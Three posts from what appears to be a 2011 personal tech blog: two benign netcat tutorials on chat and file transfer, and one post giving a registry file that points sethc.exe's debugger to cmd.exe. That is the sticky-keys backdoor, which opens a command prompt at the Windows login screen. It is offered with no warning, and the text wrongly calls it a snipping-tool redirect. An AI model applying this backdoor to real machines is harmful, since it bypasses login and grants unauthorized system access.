Friday, June 10, 2011

NC to CHAT and transfer file!

NETCAT, or sometimes the command known as nc capable of doing a lots of thing. The examples of how to use nc to scan open ports showing here.

Here, using netcat to initiate a private chat, we need a listener server with open port and a client connect to the listener server.

Listener: (IP: 192.168.1.1)

nc -l 5678-l is listen, -p is to specify port.

Client:

nc 192.168.1.1 5678Okay, both side can start chatting.

The same way for file transfer. Let say listener server as a file receiver and client as a sender.

Listener: (Receiver)

nc -vv -l 5678 > dump.mp3-vv is make the transaction very verbose, so that you will know what is happening.

Client: (Sender)

nc 192.168.1.1 5678 < dump.mp3File transfer using nc usually fast, because it do not do encryption/decryption over the communication. It is good for transfer file from point to point or in LAN. You can do it over internet but you need to make sure you have do port forwarding on the listener port.

Wednesday, June 8, 2011

Netcat - A powerful tool

Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.

It provides access to the following main features:
>Outbound and inbound connections, TCP or UDP, to or from any ports.
>Featured tunneling mode which allows also special tunneling such as UDP to TCP, with the possibility of specifying all network parameters (source port/interface, listening port/interface, and the remote host allowed to connect to the tunnel.
>Built-in port-scanning capabilities, with randomizer.
>Advanced usage options, such as buffered send-mode (one line every N seconds), and hexdump (to stderr or to a specified file) of trasmitted and received data.
>Optional RFC854 telnet codes parser and responder.

Tuesday, June 7, 2011

How to get command line before login into windows? Sounds Interesting no?

You can redirect sethc.exe to run the snipping tool by using the debugger trick in Windows, import the code below into your registry :

Code:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]
@=""
"Debugger"="C:\\Windows\\System32\\cmd.exe"

Enjoy!!!